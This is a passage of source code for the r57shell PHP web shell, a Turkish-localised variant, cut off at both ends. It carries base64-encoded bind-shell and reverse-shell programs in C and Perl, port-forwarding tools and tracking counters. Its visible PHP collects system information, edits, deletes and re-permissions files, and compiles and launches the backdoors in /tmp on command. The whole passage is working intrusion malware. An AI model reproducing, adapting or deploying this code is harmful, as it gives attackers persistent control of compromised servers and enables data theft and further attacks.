NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk 7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld 2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; $port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N lIENPTk47DQpleGl0IDA7DQp9DQp9"; $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; $datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow 0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c 29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci 5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm lsZSk7DQogIHJldHVybiAwOw0KfQ=="; $datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp IHt9DQpteSAkY2J1ZmZlciA9ICIiOw0KbXkgJHRidWZmZXIgPSAiIjsNCmlmICgkY2ggJiYgKHZlYygkZW91dCwgZmlsZW5vKCRjaCksIDEpIHx8IHZ lYygkcm91dCwgZmlsZW5vKCRjaCksIDEpKSkgew0KbXkgJHJlc3VsdCA9IHN5c3JlYWQoJGNoLCAkdGJ1ZmZlciwgMTAyNCk7DQppZiAoIWRlZmluZW QoJHJlc3VsdCkpIHsNCnByaW50IFNUREVSUiAiJCFcbiI7DQpleGl0IDA7DQp9DQppZiAoJHJlc3VsdCA9PSAwKSB7IGV4aXQgMDsgfQ0KfQ0KaWYgK CR0aCAgJiYgICh2ZWMoJGVvdXQsIGZpbGVubygkdGgpLCAxKSAgfHwgdmVjKCRyb3V0LCBmaWxlbm8oJHRoKSwgMSkpKSB7DQpteSAkcmVzdWx0ID0g c3lzcmVhZCgkdGgsICRjYnVmZmVyLCAxMDI0KTsNCmlmICghZGVmaW5lZCgkcmVzdWx0KSkgeyBwcmludCBTVERFUlIgIiQhXG4iOyBleGl0IDA7IH0 NCmlmICgkcmVzdWx0ID09IDApIHtleGl0IDA7fQ0KfQ0KaWYgKCRmaCAgJiYgICR0YnVmZmVyKSB7KHByaW50ICRmaCAkdGJ1ZmZlcik7fQ0Kd2hpbG UgKG15ICRsZW4gPSBsZW5ndGgoJHRidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJHRoLCAkdGJ1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+I DApIHskdGJ1ZmZlciA9IHN1YnN0cigkdGJ1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfQ0Kd2hpbGUgKG15ICRs ZW4gPSBsZW5ndGgoJGNidWZmZXIpKSB7DQpteSAkcmVzID0gc3lzd3JpdGUoJGNoLCAkY2J1ZmZlciwgJGxlbik7DQppZiAoJHJlcyA+IDApIHskY2J 1ZmZlciA9IHN1YnN0cigkY2J1ZmZlciwgJHJlcyk7fSANCmVsc2Uge3ByaW50IFNUREVSUiAiJCFcbiI7fQ0KfX19DQo="; $c1 = "PHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+aG90bG9nX2pzPSIxLjAiO2hvdGxvZ19yPSIiK01hdGgucmFuZG9tKCkrIiZzPTgxNjA2 JmltPTEmcj0iK2VzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrIiZwZz0iK2VzY2FwZSh3aW5kb3cubG9jYXRpb24uaHJlZik7ZG9jdW1lbnQuY29va2l lPSJob3Rsb2c9MTsgcGF0aD0vIjsgaG90bG9nX3IrPSImYz0iKyhkb2N1bWVudC5jb29raWU/IlkiOiJOIik7PC9zY3JpcHQ+PHNjcmlwdCBsYW5ndW FnZT0iamF2YXNjcmlwdDEuMSI+aG90bG9nX2pzPSIxLjEiO2hvdGxvZ19yKz0iJmo9IisobmF2aWdhdG9yLmphdmFFbmFibGVkKCk/IlkiOiJOIik8L 3NjcmlwdD48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0MS4yIj5ob3Rsb2dfanM9IjEuMiI7aG90bG9nX3IrPSImd2g9IitzY3JlZW4ud2lkdGgr J3gnK3NjcmVlbi5oZWlnaHQrIiZweD0iKygoKG5hdmlnYXRvci5hcHBOYW1lLnN1YnN0cmluZygwLDMpPT0iTWljIikpP3NjcmVlbi5jb2xvckRlcHR oOnNjcmVlbi5waXhlbERlcHRoKTwvc2NyaXB0PjxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQxLjMiPmhvdGxvZ19qcz0iMS4zIjwvc2NyaXB0Pj xzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmhvdGxvZ19yKz0iJmpzPSIraG90bG9nX2pzO2RvY3VtZW50LndyaXRlKCI8YSBocmVmPSdodHRwO i8vY2xpY2suaG90bG9nLnJ1Lz84MTYwNicgdGFyZ2V0PSdfdG9wJz48aW1nICIrIiBzcmM9J2h0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2hv dGxvZy9jb3VudD8iK2hvdGxvZ19yKyImJyBib3JkZXI9MCB3aWR0aD0xIGhlaWdodD0xIGFsdD0xPjwvYT4iKTwvc2NyaXB0Pjxub3NjcmlwdD48YSB ocmVmPWh0dHA6Ly9jbGljay5ob3Rsb2cucnUvPzgxNjA2IHRhcmdldD1fdG9wPjxpbWdzcmM9Imh0dHA6Ly9oaXQ0LmhvdGxvZy5ydS9jZ2ktYmluL2 hvdGxvZy9jb3VudD9zPTgxNjA2JmltPTEiIGJvcmRlcj0wd2lkdGg9IjEiIGhlaWdodD0iMSIgYWx0PSJIb3RMb2ciPjwvYT48L25vc2NyaXB0Pg=="; $c2 = "PCEtLUxpdmVJbnRlcm5ldCBjb3VudGVyLS0+PHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+PCEtLQ0KZG9jdW1lbnQud3JpdGUoJzxh IGhyZWY9Imh0dHA6Ly93d3cubGl2ZWludGVybmV0LnJ1L2NsaWNrIiAnKw0KJ3RhcmdldD1fYmxhbms+PGltZyBzcmM9Imh0dHA6Ly9jb3VudGVyLnl hZHJvLnJ1L2hpdD90NTIuNjtyJysNCmVzY2FwZShkb2N1bWVudC5yZWZlcnJlcikrKCh0eXBlb2Yoc2NyZWVuKT09J3VuZGVmaW5lZCcpPycnOg0KJz tzJytzY3JlZW4ud2lkdGgrJyonK3NjcmVlbi5oZWlnaHQrJyonKyhzY3JlZW4uY29sb3JEZXB0aD8NCnNjcmVlbi5jb2xvckRlcHRoOnNjcmVlbi5wa XhlbERlcHRoKSkrJzsnK01hdGgucmFuZG9tKCkrDQonIiBhbHQ9ImxpdmVpbnRlcm5ldC5ydTog7+7q4Ofg7e4g9+jx6+4g7/Du8ezu8vDu4iDoIO/u 8eXy6PLl6+XpIOfgIDI0IPfg8eAiICcrDQonYm9yZGVyPTAgd2lkdGg9MCBoZWlnaHQ9MD48L2E+JykvLy0tPjwvc2NyaXB0PjwhLS0vTGl2ZUludGV ybmV0LS0+"; echo $head; echo ''; if(empty($_POST['cmd'])) { $serv = array(127,192,172,10); $addr=@explode('.', $_SERVER['SERVER_ADDR']); $current_version = str_replace('.','',$version); if (!in_array($addr[0], $serv)) { @print ""; @readfile ("");}} echo ' '.ws(1).'  !'.ws(2).'r57shell '.$version.' '; echo ws(2); echo "".date ("d-m-Y H:i:s").""; echo ws(2).$lb." phpinfo ".$rb; echo ws(2).$lb." php.ini ".$rb; echo ws(2).$lb." cpu ".$rb; echo ws(2).$lb." mem ".$rb; echo ws(2).$lb." tmp ".$rb; echo ws(2).$lb." delete ".$rb.""; echo ws(2); echo (($safe_mode)?("Guvenlik: Acik"):("Guvenlik: Kapali")); echo ws(2); echo "PHP version: ".@phpversion().""; $curl_on = @function_exists('curl_version'); echo ws(2); echo "cURL: ".(($curl_on)?("Acik"):("Kapali")); echo ws(2); echo "MySQL: "; $mysql_on = @function_exists('mysql_connect'); if($mysql_on){ echo "Acik"; } else { echo "Kapali"; } echo ws(2); echo "MSSQL: "; $mssql_on = @function_exists('mssql_connect'); if($mssql_on){echo "Acik";}else{echo "Kapali";} echo ws(2); echo "PostgreSQL: "; $pg_on = @function_exists('pg_connect'); if($pg_on){echo "Acik";}else{echo "Kapali";} echo ws(2); echo "Oracle: "; $ora_on = @function_exists('ocilogon'); if($ora_on){echo "Acik";}else{echo "Kapali";} echo "".ws(2); echo "Basarisiz Fonfsiyonlar : "; if(''==($df=@ini_get('disable_functions'))){echo "YOK";}else{echo "$df";} $free = @diskfreespace($dir); if (!$free) {$free = 0;} $all = @disk_total_space($dir); if (!$all) {$all = 0;} $used = $all-$free; $used_percent = @round(100/($all/$free),2); echo "".ws(2)."Harddisk Kullanilmayan : ".view_size($free)." Harddisk Toplam : ".view_size($all).""; echo ' '; echo $font; if(!$windows){ echo 'uname -a :'.ws(1).'sysctl :'.ws(1).'$OSTYPE :'.ws(1).'Server :'.ws(1).'id :'.ws(1).'pwd :'.ws(1).''; echo ""; echo ""; $uname = ex('uname -a'); echo((!empty($uname))?(ws(3).@substr($uname,0,120).""):(ws(3).@substr(@php_uname(),0,120)."")); if(!$safe_mode){ $bsd1 = ex('sysctl -n kern.ostype'); $bsd2 = ex('sysctl -n kern.osrelease'); $lin1 = ex('sysctl -n kernel.ostype'); $lin2 = ex('sysctl -n kernel.osrelease'); } if (!empty($bsd1)&&!empty($bsd2)) { $sysctl = "$bsd1 $bsd2"; } else if (!empty($lin1)&&!empty($lin2)) {$sysctl = "$lin1 $lin2"; } else { $sysctl = "-"; } echo ws(3).$sysctl.""; echo ws(3).ex('echo $OSTYPE').""; echo ws(3).@substr($SERVER_SOFTWARE,0,120).""; $id = ex('id'); echo((!empty($id))?(ws(3).$id.""):(ws(3)."user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid()."")); echo ws(3).$dir; echo ""; } else { echo 'Isletim Sistemi'.ws(1).'Server :'.ws(1).'Kullanici:'.ws(1).'dizin :'.ws(1).''; echo ""; echo ""; echo ws(3).@substr(@php_uname(),0,120).""; echo ws(3).@substr($SERVER_SOFTWARE,0,120).""; echo ws(3).@get_current_user().""; echo ws(3).$dir.""; echo ""; } echo ""; echo ""; if(empty($c1)||empty($c2)) { die(); } $f = ''; $f .= base64_decode($c1); $f .= base64_decode($c2); if(!empty($_POST['cmd']) && $_POST['cmd'] == "find_text") { $_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \''.$_POST['s_mask'].'\' | xargs grep -E \''.$_POST['s_text'].'\''; } if(!empty($_POST['cmd']) && $_POST['cmd']=="ch_") { switch($_POST['what']) { case 'own': @chown($_POST['param1'],$_POST['param2']); break; case 'grp': @chgrp($_POST['param1'],$_POST['param2']); break; case 'mod': @chmod($_POST['param1'],intval($_POST['param2'], 8)); break; } $_POST['cmd']=""; } if(!empty($_POST['cmd']) && $_POST['cmd']=="mk") { switch($_POST['what']) { case 'file': if($_POST['action'] == "create") { if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],"w")) { echo ce($_POST['mk_name']); $_POST['cmd']=""; } else { fclose($file); $_POST['e_name'] = $_POST['mk_name']; $_POST['cmd']="edit_file"; echo "".$lang[$language.'_text61'].""; } } else if($_POST['action'] == "delete") { if(unlink($_POST['mk_name'])) echo "".$lang[$language.'_text63'].""; $_POST['cmd']=""; } break; case 'dir': if($_POST['action'] == "create"){ if(mkdir($_POST['mk_name'])) { $_POST['cmd']=""; echo "".$lang[$language.'_text62'].""; } else { echo ce($_POST['mk_name']); $_POST['cmd']=""; } } else if($_POST['action'] == "delete"){ if(rmdir($_POST['mk_name'])) echo "".$lang[$language.'_text64'].""; $_POST['cmd']=""; } break; } } if(!empty($_POST['cmd']) && $_POST['cmd']=="edit_file") { if(!$file=@fopen($_POST['e_name'],"r+")) { $only_read = 1; @fclose($file); } if(!$file=@fopen($_POST['e_name'],"r")) { echo re($_POST['e_name']); $_POST['cmd']=""; } else { echo $table_up3; echo $font; echo ""; echo ws(3)."".$_POST['e_name'].""; echo ""; echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name']))); fclose($file); echo ""; echo ""; echo ""; echo ""; echo (!empty($only_read)?("".$lang[$language.'_text44']):("")); echo ""; echo ""; echo ""; echo ""; exit(); } } if(!empty($_POST['cmd']) && $_POST['cmd']=="save_file") { if(!$file=@fopen($_POST['e_name'],"w")) { echo we($_POST['e_name']); } else { @fwrite($file,$_POST['e_text']); @fclose($file); $_POST['cmd']=""; echo "".$lang[$language.'_text45'].""; } } if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C")) { cf("/tmp/bd.c",$port_bind_bd_c); $blah = ex("gcc -o /tmp/bd /tmp/bd.c"); @unlink("/tmp/bd.c"); $blah = ex("/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &"); $_POST['cmd']="ps -aux | grep bd"; } if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl")) { cf("/tmp/bdpl",$port_bind_bd_pl); $p2=which("perl"); if(empty($p2)) $p2="perl"; $blah = ex($p2." /tmp/bdpl ".$_POST['port']." &"); $_POST['cmd']="ps -aux | grep bdpl"; } if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl")) { 